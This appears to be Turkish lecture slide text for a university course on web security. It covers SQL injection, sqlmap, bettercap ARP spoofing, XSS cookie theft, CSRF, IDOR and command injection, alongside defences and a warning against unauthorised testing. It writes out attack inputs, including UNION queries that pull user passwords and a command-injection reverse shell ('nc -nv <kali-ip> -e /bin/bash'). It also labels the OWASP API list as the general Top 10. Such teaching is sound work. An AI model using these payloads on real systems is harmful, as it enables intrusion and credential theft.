

WEB UYGULAMA GÜVENLİĞİNE GİRİŞ

Siber Saldırı ve Savunma Yöntemleri - Hafta 11



SİBER GÜVENLİK: KRİTİK ATAĞI TIPLERİ VE SAVUNMA YÖNTEMLERİ

Bu sunumda siber güvenliğin temel tehditlerinden olan SQL Injection ve Man In The Middle (MITM) saldırıları incelenecektir.

Aynı zamanda web uygulaması güvenliği prensipleri ve zafiyet tarama teknikleri ele alınacaktır.

Hedef Kitle: Üniversite Düzeyi Siber Güvenlik ve Yazılım Öğrencileri.

Konular:

1. Web Uygulama Güvenliği Temelleri
2. SQL Injection Atağı: Türleri, Önlemler ve Araçlar
3. Man In The Middle (MITM) Atağı: Türleri, Teknikler ve Uygulamalar

WEB UYGULAMA GÜVENLİĞİNE GİRİŞ

Web uygulamaları, web tarayıcıları içinde çalışan, kullanıcı arayüzü sunan ve sunucu taraflı bileşenlerle etkileşim kurmak için HTML, CSS, JavaScript gibi web teknolojilerini kullanan yazılımlardır.

Yerel mobil uygulamaların aksine, web uygulamalarına herhangi bir cihazdaki web tarayıcısı aracılığıyla kolayca erişilebilir.



WEB UYGULAMALARININ KULLANIM ALANLARI

Web uygulamaları yazılım veya programların kullanılabileceği hemen hemen her alanda tercih edilir.

Başlıca kullanım alanları şunlardır:

- E-ticaret siteleri

- İzleme ve takip uygulamaları

- Otomasyon sistemleri

- Şirket içi çalışan uygulamaları

- Web siteleri ve sosyal medya platformları

- Web tabanlı oyunlar



WEB UYGULAMA GÜVENLİĞİNİN ÖNEMİ

Web uygulamaları, kullanıcı dostu arayüzleri ve kolay erişilebilirliği sayesinde geniş kitleler tarafından kullanılır, bu nedenle güvenlik hayati öneme sahiptir.

Güvenlik eksiklikleri, ciddi risklere yol açar:

Kullanıcı hesaplarının ele geçirilmesi

Ödeme bilgilerine yetkisiz erişim

Sahte ürünler/dolandırıcılık

Kişisel bilgilerin (PII) tehlikeye girmesi

Şirket itibarının zarar görmesi ve veri ihlalleri



WEB GÜVENLİĞİ İÇİN TEMEL ÖNLEMLER

Web uygulamaları, kullanıcı verilerini korumak için bazı kritik önlemleri uygulamalıdır:

- HTTPS kullanma (Güvenli İletişim)

- Güvenli oturum yönetimi

- Güçlü şifre politikaları

- Düzenli güvenlik testleri (Sızma testleri)



OWASP TOP 10 NEDİR?

OWASP (Açık Web Uygulama Güvenliği Projesi), kabul görmüş en iyi güvenlik uygulamalarını belirleyen ve paylaşan uluslararası bir topluluktur. OWASP Top 10, en yaygın görülen web uygulama güvenlik açıklarını listeler ve birçok organizasyon için referans kaynağıdır.



OWASP TOP 10 LİSTESİ (2023)

1. Nesne Düzeyinde Hatalı Yetkilendirme (Broken Object Level Authorization)
2. Hatalı Kimlik Doğrulaması (Broken Authentication)
3. Nesne Özellik Düzeyindeki Hatalı Yetkilendirme (Broken Object Property Level Authorization)
4. Sınırlandırılmamış Kaynak Tüketimi (Unrestricted Resource Consumption)
5. Hatalı Fonksiyon/Metot Seviyesi Yetkilendirmesi (Broken Function Level Authorization)

OWASP TOP 10 LİSTESİ (DEVAM)

- 6. Sunucu Tarafı İstek Sahtekârlığı (Server Side Request Forgery – SSRF)
- 7. Yanlış Güvenlik Yapılandırması (Security Misconfiguration)
- 8. Otomatik Tehditlere Karşı Koruma Eksikliği (Lack of Protection from Automated Threats)
- 9. Uygunsuz Varlık Yönetimi (Improper Inventory Management)
- 10. API'lerin Güvenli Olmayan Tüketimi (Unsafe Consumption of APIs)

WEB UYGULAMA GÜVENLİĞİ İLKELERİ: TEMEL KAVRAMLAR

Web uygulama güvenliği, bilgi güvenliğinin bir dalıdır; web siteleri, servisleri ve uygulamalarının korunmasını kapsar.

Temel ilkeler, genel kabul görmüş en iyi uygulamalara dayanır ve sektöre, yasal gereksinimlere göre değişiklik gösterebilir.



VERİ DOĞRULAMA VE YETKİLENDİRME

Kullanıcı girişleri (form verileri ve istemci verileri) dikkatli bir şekilde doğrulanmalıdır.

Kötü niyetli kullanıcıların zararlı verileri engellenmelidir (Giriş doğrulama/Input Validation).

Kimlik doğrulama (Authentication) ve yetkilendirme (Authorization) mekanizmalarıyla yalnızca yetkili kullanıcıların sisteme erişimi sağlanmalıdır.



KOD İNCELEMESİ VE EN AZ YETKİ İLKESİ

Zararlı Kod İncelemesi (Code Review): Yazılım kodu düzenli olarak incelenmeli ve güvenlik açıklarını tespit etmek için test edilmelidir. Bu, zayıflıkları önceden tespit etmeyi sağlar.

En Az İhtimalle İstismar (Least Privilege Principle): Kullanıcılar ve bileşenler, işlevlerini yerine getirmek için gereken minimum yetkilere sahip olmalıdır. Bu, saldırganların sisteme verebileceği zararı sınırlar.

OTURUM YÖNETİMİ VE GÜNCELLEME SÜREÇLERİ

Oturum Yönetimi ve Kimlik Yönetimi: Kullanıcı oturumlarının güvenli yönetilmesi ve kimliklerinin uygun doğrulanması sağlanmalıdır. Oturumlar süresince yetkilendirme sıkıca uygulanmalıdır.

Güvenlik Güncellemeleri ve Yama Yönetimi: Üçüncü taraf bileşenlerin güncellemeleri takip edilmeli ve güvenlik açıkları hızla yamalanmalıdır.



Güvenlik Testleri ve İncelemeler: Web uygulamaları düzenli olarak penetrasyon testleri, kod analizleri gibi testlere tabi tutulmalıdır.

Bilinçli Kullanıcı Eğitimi: Kullanıcılar güçlü şifreler seçme, kimlik avı saldırılarını anlama ve güvenli internet alışkanlıkları konusunda eğitilmelidir.

Günlük ve İzleme (Logging and Monitoring): Anormal aktiviteler görüldüğünde hızla müdahale sağlamak için uygulama faaliyetleri takip edilmelidir.



Web sızma teknikleri, web uygulamalarının güvenliğini değerlendirmek ve olası zafiyetleri tespit etmek için kullanılır.

Bu testler sayesinde güvenlik açıkları tespit edilir, verilerin korunması ve gizliliği sağlanır, siber saldırılara karşı savunma güçlendirilir.

ÖNEMLİ: Web uygulamasına izinsiz zafiyet testi gerçekleştirmek yasal olarak suçtur.



YAYGIN WEB SIZMA TESTİ ÇEŞİTLERİ

Sızma testleri, uygulamaların güvenlik açıklarını anlamak için kritik öneme sahiptir. Yaygın sızma testi türleri şunlardır:

- SQL Injection (SQLi) Enjeksiyonu
- XSS (Cross-Site Scripting)
- CSRF (Cross-Site Request Forgery)
- IDOR (Insecure Direct Object References)
- Brute Force Attack (Kaba Kuvvet)
- Command Execution (Komut Yürütme)
- File Injection (Dosya Enjeksiyonu)
- XML External Entity (XXE) Attack

WEB UYGULAMALARINDA SIZMA TESTİ ORTAMLARI

Güvenlik test ortamı kurmak, güvenlik açıklarını tespit etmek ve gidermek için hayati bir adımdır.

Bu ortam, gerçek üretim ortamı değil, kontrollü bir çevredir. Böylece testler sırasında kullanıcılar ve veriler riske atılmaz.

Test ortamları gerçek makineler veya sanal makineler üzerinde çalışabilir.
Örnek Test Ortamları: DVWA, bWAPP, Bee-Box, WebGoat.



SQL INJECTION (SQLi) ATAĞI NEDİR?

SQL Injection, en tehlikeli atak türlerinden biridir.

Saldırgan tarafından uygulamanın veri tabanı sunucusuna yapılan sorgulara müdahale edilip, SQL dilinin özelliklerinden faydalanılarak gerçekleştirilen bir zafiyet türüdür.

Temel amaç, kullanıcı tarafından sağlanan girdileri (giriş alanları, sorgu/URL parametreleri) yeterince denetlemeyen web uygulamalarına kötü niyetli SQL kodlarını enjekte etmektir.



SQLi SALDIRILARININ HEDEFLERİ

Başarılı bir SQL Injection saldırısı sonucunda saldırgan şunları hedefleyebilir:

- Normalde yetkisiz kişilerin ulaşamayacağı verilere kolayca erişmek.
- Verileri manipüle etmek, değiştirmek, silmek veya yeni veri kaydetmek.
- Parolalar, kredi kartı bilgileri, kullanıcı bilgileri gibi hassas verilere yetkisiz erişim sağlamak.
- Bazı durumlarda bir arka kapı (backdoor) oluşturmak veya DoS atağı gerçekleştirmek için ilk atak türü olarak kullanılır.



SQL INJECTION ATAK TÜRLERİ: GRUPLANDIRMA

SQL Injection atak türleri genel olarak üç ana başlık altında gruplandırılabilir:

1. In-Band SQL Injection (Classic - Bant İçi)
2. Blind SQL Injection (Inferential - Çıkarımsal / Kör)
3. Out Of Band (OOB) SQL Injection (Bant Dışı)

1. IN-BAND SQL INJECTION (KLASİK)

In-Band (Bant içi) SQL Injection, klasik Injection tekniğidir.

Bu atak türünde, saldırgan SQL Injection atağını başlatmak, devam ettirmek ve sonuçları almak için HTTP Post ve Get isteklerinin aynı iletişim yolu (kanal) üzerinden gönderilip alındığı yöntemi kullanır.

En yaygın iki çeşidi vardır:

- a) Error Based SQL Injection
- b) Union Based SQL Injection

ERROR BASED SQL INJECTION

Bu In-Band atak türü, veri tabanına yazılan çeşitli sorgular ile veri tabanının kasıtlı olarak hata vermesini sağlar.

Saldırgan bu hataları kullanarak daha derinlemesine sorgular yazma imkânı bulur.

Bu sayede veri tabanının versiyon bilgisi, tablo adı gibi önemli bilgilere erişilebilir.

Versiyon bilgisini öğrenmek, güncel olmayan bir versiyonun açıklarını (zafiyetlerini) tespit etme olanağı sunar.

ERROR BASED SQL INJECTION: UYGULAMA ADIMLARI (DVWA)

Error Based SQL Injection atağı için veri tabanının hata vermesini sağlayan kodlar enjekte edilir.

User ID kutusuna tek tırnak (') işareti koyularak sorgunun bozulması sağlanır. Geri dönen hata mesajı, kullanılan veri tabanı yazılımının tipini veya versiyonunu öğrenmeye olanak tanır.

UNION BASED SQL INJECTION

Uygulama tarafından gönderilmek istenen ana sorguya ek yeni sorgular yapmak için 'UNION' anahtar kelimesi ile iki veya daha fazla sorguyu birleştiren atak türüdür.

Temel kural, ana sorgudan dönen sütun sayısı ile UNION sorgusu sonucu dönen sütun sayısının eşit olmasıdır.

Sütun sayısını tespit etmek için 'ORDER BY' veya 'UNION SELECT NULL' yöntemleri kullanılır.



UNION BASED SQL INJECTION: SÜTUN SAYISI TESPİTİ

Union Based atağı için kaç tane sütun olduğu bilgisi 'ORDER BY' komutları ile öğrenilmelidir.

Saldırgan, 1'den başlayarak veri tabanında hata alıncaya kadar bu işleme devam eder.

Örneğin, ' order by 3# sorgusunda hata alınırsa, bu tabloda iki sütun olduğu anlamına gelir.



UNION BASED SQL INJECTION: BİLGİ ÇEKME

Sütun sayısı tespit edildikten sonra, ' UNION SELECT database(), version()# sorgusu yazılarak ilgili veri tabanı adına ve versiyon bilgisine ulaşılır.
Örnek sonuç: Veri tabanı adı 'dvwa' ve MariaDB versiyonu '10.1.26'.
UNION SELECT 1, table_name, 3, 4, 5, 6, 7... sorguları ile tablo adları ve kolon adları listelenebilir.

UNION BASED SQL INJECTION: KRİTİK VERİLERE ERİŞİM

Veri tabanı kullanıcı adı ve şifre bilgilerine ulaşmak için ' UNION SELECT 1, login, password, 4, 5, 6, 7 from users # gibi komutlar kullanılır.

Ulaşılan şifreler genellikle md5 formatında kriptolanmış (hashlenmiş) bir dize hâlinindedir.

Bu kriptoları çözmek için Kali Linux üzerindeki 'john' veya 'hashcat' gibi araçlar kullanılır.



2. BLIND SQL INJECTION (KÖR SQLi)

Blind SQL Injection, saldırgan ile hedef uygulama arasında gerçek herhangi bir veri alışverişinin yapılmadığı bir atak çeşididir.

Saldırgan sorgunun sonucunu doğrudan göremez.

Saldırgan, veri tabanının yapısı hakkında daha fazla bilgiye ulaşmak için sunucunun yanıtını ve davranışlarını (örneğin sayfanın yüklenme süresi) gözlemler.

Deneme yanılma yoluyla gelen cevaba göre yeni bir strateji oluşturulduğu için 'Çıkarımsal' veya 'Kör' olarak adlandırılır.

BOOLEAN (TRUE/FALSE) BASED SQL INJECTION

Bu Kör SQLi türünde, saldırgan veri tabanına bir sorgu gönderir ve cevap olarak yalnızca True (Doğru) veya False (Yanlış) bilgisi geri gelir. Saldırgan, uygulamanın normalde False dönen cevabını, bir koşul ekleyerek (Örn: '1' or '1'='1') her zaman True dönmesini sağlar ve gerekli veri tabanı kayıtlarına ulaşır. Bu teknik, sorgu sonucunun görüntülenmediği, ancak koşulun sağlanıp sağlanmadığının sayfa içeriğindeki değişikliklerle anlaşıldığı durumlarda kullanılır.



TIME BASED SQL INJECTION

SQL sorguları normalde eş zamanlı çalışır ve hemen cevap verir. Saldırgan, isteğin belirli bir süre sonra çalışmasını 'sleep' gibi çeşitli komutlarla öteleyebilir. Bu gecikme, gönderilen sorgunun çalışıp çalışmadığını test etme imkânı sunar. Veri tabanını belirli bir süre bekletmek, saldırganın veri tabanı yazılımına müdahale edebildiğinin bir göstergesidir.



3. OUT OF BAND (OOB) SQL INJECTION

Bu teknik, SQL sorgularının sunucu ve istemci arasındaki normal iletişim kanalı dışında gerçekleşmesini hedefler.

Saldırgan, sorguya DNS veya HTTP gibi protokol isteklerini enjekte ederek sunucunun iletişim dışına çıkmasını (Out Of Band) tetikler.

Bu teknik, saldırganın bilgileri toplamak ve sonuçları görmek için aynı iletişim kanalını kullanmamasıyla diğerlerinden ayrılır.

OOB, veri tabanı sunucusunda aktif çalışan hizmetlere bağlı olarak gerçekleştirilebilen, çok yaygın olmayan bir tekniktir.



SQL INJECTION SAVUNMA YÖNTEMLERİ

SQL Injection atağını önlemek, hem SQL dili hem de sunucu kaynaklı açıkları kapatmanın zorluğu nedeniyle karmaşıktır.
En güzel savunma, kendi sisteme sızma (sızma testi) atakları yaparak sorun yaşanabilecek tüm senaryoları denemektir.
Otomatize araçlar veya manuel yöntemlerle sızma testi raporlarına göre açıklar kapatılmalıdır.



SQLi ÖNLEMLERİ: GİRİŞ DOĞRULAMA VE ÖZEL KARAKTERLER

Kullanıcı girişlerini mutlaka doğrulamak gerekir. En çok atak yapılan yer, kullanıcı bilgileri ile giriş yapılan yerlerdir. Bilgilerin tek tek kontrol edilerek sisteme alınması sağlanmalıdır. Özel karakter kullanımını kontrol etmek ve sınırlandırmak bir diğer kritik yöntemdir. (Örn: ' , -- gibi).

SQLi ÖNLEMLERİ: PARAMETRELİ SORGULAR VE PROSEDÜRLER

Veri tabanına sorguları yazmak için değişken kullanmak ve parametrelili sorgular ile hazırlanan ifadeler kullanmak daha korumalı bir veri çekme işlemi sağlar.

Bu yöntem, kullanıcı girişi ile SQL kodu arasında net bir ayrım yapar. Parametrelileştirmeye benzer şekilde, 'Stored Procedure' yapısı kullanılarak sorgular değişken yapısına bağlanabilir, bu da sistemi çok daha güvenli hale getirir.



Veri tabanı yamalarını kurmak ve işletim sistemini güncel tutmak en önemli tedbirlerden biridir.

Gereksiz deyimlerin kullanımı için ayrıcalıklı erişim yetki seviyeleri düzenlenmelidir.

Örneğin, bir web sitesinde sadece SELECT sorguları çalışacaksa, diğer deyimlerin (UPDATE, INSERT, DELETE vb.) kullanımı kısıtlanmalıdır.

Sisteme giren kişinin yetkileri en aza indirilerek hiyerarşi oluşturulmalıdır (Least Privilege).

Verileri korumak için güçlü şifreleme algoritmaları kullanılmalıdır.



SQLMAP KOMUTU: OTOMATİZE SQLi ARACI

Sqlmap, Kali Linux üzerinde yüklü olarak gelen ve web uygulamalarındaki SQL Injection açıklarını bulmaya yarayan otomatize bir araçtır.

Bulunan açıkları kullanarak hedef bilgisayar üzerinde sorguların çalışmasına olanak sağlar.

Bu komut ile veri tabanı türü, adı, kullanıcıları, veri tabanı tabloları ve tüm bilgilere ulaşmak mümkündür.

Komut satırında '-h' parametresi ile yardım sayfası açılabilir.

SQLMAP KULLANIMI: VERİ TABANI LİSTELEME

Sqlmap komutu, SQL Injection açıklarını tespit etmek için kullanılır.

- u parametresi: Hedef URL'yi belirtmek için kullanılır.
- dbs parametresi: Hedef URL'deki veri tabanı listesini ekrana getirir.

Örnek: 'sqlmap -u [URL] --dbs'

SQLMAP KULLANIMI: TABLO BİLGİLERİNİ ÇEKME

- D parametresi: Sorgulanacak veri tabanı adını belirtmek için kullanılır.
- tables parametresi: Belirtilen veri tabanı içindeki tespit edilen tablo isimlerini ekrana yazdırır.

Örnek: 'sqlmap -u [URL] -D [db_name] --tables'

SQLMAP KULLANIMI: KOLON VE VERİ ÇEKME

- T parametresi: Sorgulanacak tablo adını belirtmek için kullanılır.
- columns parametresi: Belirtilen tablonun kolon bilgilerini ekrana yazdırır.
- C parametresi: Belirli bir kolon adını (örneğin kullanıcı adı, parola) belirtmek için kullanılır.
- dump parametresi: Belirtilen kolonlardaki bilgileri (verileri) ekrana yazdırır. Sqlmap, şifreleri hash değerlerinin yanında parantez içinde çözülmüş olarak da gösterebilir.



SQLMAP'İN KAPSAMLI YETENEKLERİ

Sqlmap, veri tabanı ile ilgili tüm işlemleri gerçekleştiren, geniş kapsamlı bir komuttur.

Kapsamlı yetenekleri şunları içerir:

- İstek dosyası yüklemek

- Post isteği yapmak

- Formlara parametre girmek

- HTTP Authentication (Yetkilendirme) kullanmak

- Proxy ve Tor kullanarak sorgu çalıştırma

SQL Injection atağı gibi zafiyet testleri için hazır zafiyetlerin yüklü olduğu sanal sistemlere ihtiyaç duyulur.

DVWA (Damn Vulnerable Web Application) ve bWAPP, kullanıcıların yetenek ve becerilerini eğitim amaçlı olarak geliştirebilme imkânı veren yazılımlardır.

Bee-Box ise içine bWAPP kurulmuş hazır bir sanal makine sabit diskidir.



TEST ORTAMI KURULUMU: XAMPP VE BWAPP

Test ortamı için sistemde bir Apache sunucu ve MySQL veri tabanı sunucusunun kurulu olması gerekir.

XAMPP, bu sunucuları kurmak için yaygın kullanılan bir pakettir.

bWAPP'ın uyumlu çalışması için XAMPP'in eski (PHP 5.6) versiyonu tercih edilmelidir.

Kurulum sonrası 'settings.php' dosyasında MySQL bağlantı ayarları (db_username=root, db_password= vb.) yapılmalıdır.



TEST ORTAMI: GÜVENLİK ZAFİYETLERİ İÇİN PROXY KULLANIMI

Ara sunucu (Proxy), bilgisayar ağlarında ve internet üzerindeki iletişimi araçlar ve filtreler aracılığıyla yönlendiren bir yazılımdır.

Web uygulama güvenlik testlerinde proxy'nin amacı, iletişimin arasına girip trafiği izlemek, filtrelemek ve manipüle ederek zafiyetleri tespit etmektir.

Burp Suite Community Edition, yaygın kullanılan bir web uygulaması test aracıdır.



MAN IN THE MIDDLE (MITM) ATAĞI NEDİR?

MITM, iletişim hâlindeki iki bilgisayarın (istemci-istemci, istemci-sunucu) arasına girerek orada olup biteni dinleyen atak türüdür.

Saldırgan, trafiği kendi üstünden akmasını sağlar veya kurulan iletişimde paketleri değiştirerek veri manipülasyonuna sebep olur.

Saldırgan, iki cihazın arasına girdiği için 'Ortadaki Adam' (MITM) olarak adlandırılır.

MITM, kişisel bilgileri (şifreler, hesaplar, kredi kartı bilgileri) çok kolay ele geçirebildiği için en tehlikeli atak türlerinden biridir.



MITM SALDIRI TÜRLERİ: SAHTE ERİŞİM NOKTASI

Sahte Erişim Noktası (Fake Access Point) atağında saldırgan, var olan erişim noktasını (Wi-Fi) de-authentication yöntemiyle devre dışı bırakır. Devre dışı bıraktığı Wi-Fi adını (SSID) benzer (Örn: Okulv2, Okul-Kat1) sahte ek isimlerle yayınlar. Bağlantısı kopan tüm cihazlar, saldırganın yayınladığı ağa bağlanır ve saldırgan tüm ağ trafiğini üzerine çekerek yönetebilir ve manipüle edebilir.



MITM SALDIRI TÜRLERİ: ARP SAHTEKÂRLIĞI (ARP SPOOFING)

ARP (Adres Çözümleme Protokolü), IP adreslerini MAC adreslerine çözümlemek için kullanılır.

Saldırgan, yanıt vermemesi gereken isteklere kendi MAC adresini kullanarak yanıt verir (ARP Spoofing).

Böylelikle istemci, saldırganın bilgisayarını bir ağ geçidi (Gateway) olarak algılar ve tüm trafiği ona yönlendirir.

Saldırgan, üstünden akan trafik ile PII (Personal Identifiable Information) gibi kişisel tanımlama bilgilerini analiz edebilir.

MITM SALDIRI TÜRLERİ: DNS SAHTEKÂRLIĞI (DNS SPOOFING)

DNS (Alan Adı Sistemi), alan adlarını IP adresine çözümleyen protokoldür. DNS önbellek zehirlenmesi (DNS Cache Poisoning) olarak da adlandırılan bu atak, kullanıcının güvendiği bir web sitesinin sahtesinin yapıldığı bir saldırı türüdür.

Saldırgan, kullanıcıyı sahte bir web sitesine yönlendirmek için hazırlanan DNS kayıtlarını hedefe ulaştırır.



MITM SALDIRI TEKNİKLERİ: PAKET KOKLAMA (SNIFFING)

Paket koklama (Sniffing), saldırganın ağ üzerinde dolaşan paketleri toplayarak, bu paketlerde geçen bilgileri açıp okuması sonucu oluşan tekniktir. Saldırgan bu sayede hedefin eylemleri hakkında bilgi toplar, ağın kendi üzerinden akmasını sağlar veya ağ trafiğini manipüle eder. Sniffing, MITM ataklarında sık kullanılan bir temel tekniktir.

MITM SALDIRI TEKNİKLERİ: PAKET ENJEKSİYONU

Paket enjeksiyonunda, iletişimi dinleyen (sniffing yapan) saldırgan, hedefe zararlı paketler gönderir ve hedefin indireceği paketlere müdahale edebilir. Saldırgan, ağ cihazlarını dinleme moduna (Promiscuous mode) alır. Bu sayede, hedefin indirmeye çalıştığı yasal yazılımın (a.exe) yerine, aynı isimli ancak sahte ve zararlı bir yazılımın indirilmesi sağlanabilir.

MITM SALDIRI TEKNİKLERİ: OTURUM ÇALMA (SESSION HIJACKING)

Web sitelerinde oturum açıldığında 'session' (web oturumu) denilen olay gerçekleşir ve oturum bilgilerini kaydeder.

Bu sayede kullanıcı, her yeni linke tıkladığında tekrar tekrar şifre girmek zorunda kalmaz.

Saldırgan, trafiği koklayarak (sniffing) bu oturum açma belirteçlerine (session token) erişebilir ve oturumu ele geçirebilir.

Ele geçirilen belirteçlerle saldırgan, meşru isteklerde bulunarak hedefin bilgileri ile oturumu kullanabilir.



MITM SALDIRI TEKNİKLERİ: SSL ÇALMA (SSL STRIP)

HTTP güvensiz, HTTPS (SSL kullandığı için) ise güvenli kabul edilir. HTTP paketlerini çözmek ve işlemek, HTTPS'ye göre daha kolaydır. SSL Strip, saldırganların HTTPS tabanlı web sitesinden gelen istekleri değiştirerek, istemciyi HTTP tabanlı siteye dönüştürmek ve yönlendirmek için kullandığı bir tekniktir. Bu sayede kullanıcı, HTTPS kullandığını düşünerek HTTP üzerinden işlem yapmaya devam eder, saldırgan ise bilgileri kolayca yakalar.



MITM ATAKLARINDA KULLANILAN ARAÇLAR

MITM ataklarında saldırganların kullandığı birden fazla araç mevcuttur.
En çok kullanılan araçlar şunlardır:

bettercap

hetty

proxy.py

burp (Burpsuite)

mitmproxy

ettercap



BETTERCAP ARACI HAKKINDA

Bettercap, bir ağa karşı MITM atakları gerçekleştiren güçlü, esnek ve taşınabilir bir araçtır.

Gerçek zamanlı olarak HTTP, HTTPS veya TCP trafiğini monitör edebilir (izleyebilir), yönetebilir, yönlendirebilir ve paket koklama (sniffing) yapabilir. Go dilinde yazılmıştır ve açık/kapalı kaynak işletim sistemlerinde çalışabilir. Bettercap, Wi-Fi ve Ethernet ağlarında, Bluetooth cihazlarında aktif ve pasif IP ve port taraması yapabilir.



BETTERCAP ÇALIŞTIRILMASI

Bettercap aracı, Kali Linux içinde yüklü olarak gelmez; sonradan kurulması gerekir.

Parametresiz olarak çalıştırılabileceği gibi, dinlemesi gereken arayüz (interface) de belirtilerek çalıştırılabilir.

Örnek çalıştırma: 'sudo bettercap -iface eth0' (eth0, ethernet arayüzünün Kali Linux'taki karşılığıdır).



Çalışan servisleri görmek veya hangi komutun hangi parametre ile çalışacağını öğrenmek için 'help' komutu kullanılır. Bu komut, bettercap içinde aktif olan modüller ve onların kullanım detayları hakkında bilgi sağlar.

BETTERCAP: AĞDAKİ CİHAZ TARAMASI (NET.PROBE)

'net.probe on' komutuyla etraftaki cihazların bulunması ve MAC adres bilgileri ile IP bilgilerinin alınması sağlanır.

Bu komut yazıldığı anda, etraftaki cihazlar taranır ve IP-MAC eşleşmeleri tespit edilir.

'net.show' komutu ile tespit edilen IP, MAC, ağ isimleri (Name) ve üretici firma (Vendor) gibi bilgiler tablo halinde görüntülenebilir.

BETTERCAP: ARP SPOOF ATAĞINI BAŞLATMA

ARP Spoofing, bettercap'in ana işlevlerinden biridir.

'arp.spoof on': ARP spoof atağını başlatır.

'arp.ban on': Bu atak başlatıldığında, karşı tarafa de-authentication saldırısı yapılmış gibi olur ve hedefin ağ ile ilişkisi kesilir.

'arp.spoof off': ARP spoof atağını sonlandırır.

ARP SPOOF ATAĞI PARAMETRELERİ

Bettercap'te varsayılan olarak kapalı (false) gelen parametreler açılarak atağın daha kullanışlı ve doğru çalışması sağlanabilir.

'arp.spoof.full duplex': Bu parametre doğru olursa hem hedefe hem de modeme atak gerçekleştirilir, bu da atağın daha iyi çalışmasını sağlar.

'arp.spoof.internal': True ayarlanırsa yerel bilgisayarlar arasında bir spoofing işlemi yapılır.

'arp.spoof.targets': Normalde tek hedefe atak yapılırken, bu parametre sayesinde birden fazla hedefe (IP adresleri virgülle ayrılarak) atak yapılabilir.

ARP SPOOFING SONUCU: MAC ADRES DEĞİŞİMİ

ARP spoof atağı başladıktan sonra, hedef bilgisayarın MAC adres tablosu değişir.

Atak sonrası modem MAC adresi ile atak yapılan bilgisayarın (saldırganın) MAC adresi aynı olur.

Bu durum, modeme giden tüm paketlerin saldırganın bilgisayarına da gelmesini sağlar.



BETTERCAP: AĞ TRAFİĞİNİ İZLEME (NET.SNIFF)

ARP spoofing yapılandırması tamamlandıktan sonra, hedefin yaptığı tüm işlemleri izlemek ve sniffing yapabilmek için 'net.sniff on' komutu kullanılır. Bu komutla sniffing işlemi başlatılır. Hedefin modemden istediği tüm bilgiler aynı anda hem modeme hem de saldırganın bilgisayarına gelir. Gelen/giden web sayfaları, GET istekleri, protokoller (DNS, HTTP) ve 200 OK bilgileri gibi detaylı loglar listelenir.

MITM SALDIRILARININ TEHLİKESİ

MITM saldırıları, dış ağıdan gelen saldırılardan daha tehlikelidir, çünkü saldırgan yan odada veya yakında bulunabilir.

Bu aşamadan sonra saldırgan istediği bilgiye ulaşabilir, istediği bilgiyi değiştirebilir ve diğer saldırı yöntem ve tekniklerinin vereceği zararın çok daha fazlasını saniyeler içinde verebilir.



WEB SIZMA TEKNİKLERİ: XSS (CROSS-SITE SCRIPTING)

XSS, saldırganların web uygulamalarında güvensiz bir şekilde işlenen verilere kötü niyetli komutlar veya kodlar enjekte etmelerine olanak tanıyan yaygın bir güvenlik açığıdır.

Enjekte edilen bu kodlar, daha sonra başka kullanıcıların tarayıcılarında yürütülerek istenmeyen sonuçlara yol açabilir.

XSS sızma testleri, uygulamaların güvensiz veri işleme mekanizmalarını anlamak için kullanılır (Örnek: '<script>alert(1)</script>' enjekte ederek alarm penceresi açılması).

XSS İLE OTURUM ÇALMA UYGULAMASI

XSS zafiyeti kullanılarak, kurbanın tarayıcısına kötü niyetli bir betik enjekte edilir.

Bu betik, kurbanın oturum çerezlerini (PHPSESSID) saldırganın dinlediği bir sunucuya (netcat) gönderir.

Saldırgan, elde ettiği PHPSESSID değerini kendi tarayıcısındaki çerezlere yapıştırarak, kullanıcı adı ve şifresi girmeden kurbanın oturumuna erişim sağlayabilir.



WEB SIZMA TEKNİKLERİ: CSRF (CROSS-SITE REQUEST FORGERY)

CSRF, saldırganın bir kullanıcının hesabıyla istenmeyen işlemleri gerçekleştirmesine olanak tanıyan bir güvenlik açığıdır.

Saldırgan, kurbanın oturumunun açık olduğu bir web uygulamasına kötü niyetli bir sayfa (veya e-posta) aracılığıyla istek göndermeye zorlar.

Tarayıcı oturumu açık olduğu için kötü niyetli istek otomatik olarak gönderilir ve hedef uygulama, isteği meşru kabul ederek işler (Örn: Parola değiştirme veya hesap silme).

Korunma yolları arasında 'token' (belirteç) kullanımı ve isteğin kaynağını kontrol etme yer alır.



WEB SIZMA TEKNİKLERİ: IDOR (INSECURE DIRECT OBJECT REFERENCES)

IDOR, uygulama geliştiricilerinin kullanıcı verilerine veya nesnelere erişim kontrolünü sağlamadığı durumda ortaya çıkar.

Uygulama, kullanıcıları veya nesneleri temsil eden kimlik numaralarını veya belirteçleri yeterince kontrol etmeksizin doğrudan erişim sağlar.

Saldırgan, başka bir kullanıcının verilerine erişmek için URL'deki veya istekteki bu kimlik numarasını değiştirerek isteği manipüle eder.

Bu şekilde saldırgan, yetkisiz işlemleri gerçekleştirebilir (Örn: başka bir kullanıcının verilerini görüntülemek, düzenlemek veya silmek).

WEB SIZMA TEKNİKLERİ: BRUTE FORCE ATTACK (KABA KUVVET)

Brute Force Attack, saldırganın bir hedefin kullanıcı adı veya parolasını tahmin etmek amacıyla otomatik olarak binlerce veya milyonlarca olası kombinasyonu denediği bir saldırı türüdür.

Bu saldırı, zayıf parolaların veya yetkisiz erişim izinlerinin tespiti için kullanılır.

Brute Force sızma testleri, uygulamaların zayıf parolalar veya güvenlik önlemleri nedeniyle nasıl tehlikede olduğunu anlamak için önemlidir.

Burp Suite Intruder aracı bu tür saldırıları otomatikleştirmek için yaygın olarak kullanılır.

WEB SIZMA TEKNİKLERİ: COMMAND EXECUTION (KOMUT YÜRÜTME)

Command Execution (Komut Yürütme), uygulamanın güvensiz bir şekilde komutları işlemesinden yararlanarak saldırganın istenmeyen komutları yürütmesi yöntemidir.

Kötü niyetli saldırgan, giriş alanlarına zararlı komutlar veya kodlar enjekte edebilir (Örn: SQL enjeksiyonu veya OS komutları).

Yeterli güvenlik önlemi alınmamışsa bu komutlar yürütülür ve saldırgan yetkisiz erişim elde edebilir, hassas verileri çalabilir veya sistem hizmetini kesebilir.

Örnek: DNS Lookup alanına 'www.meb.gov.tr|whoami' komutunun eklenmesi zafiyeti tespit eder.



COMMAND EXECUTION: TERS BAĞLANTI (REVERSE SHELL)

Komut Yürütme zafiyeti, saldırganın hedef sistemde ters bağlantı (reverse shell) kurmasına olanak tanır.

Kali Linux'ta netcat (`nc -lvp [port]`) ile dinleme yapılır.

DNS lookup değeri olarak '`www.meb.gov.tr;nc -nv <kali-ip-adresi> -e /bin/bash`' gibi komutlar enjekte edilerek hedef sistemden saldırganın makinesine bağlantı talebi oluşturulur.

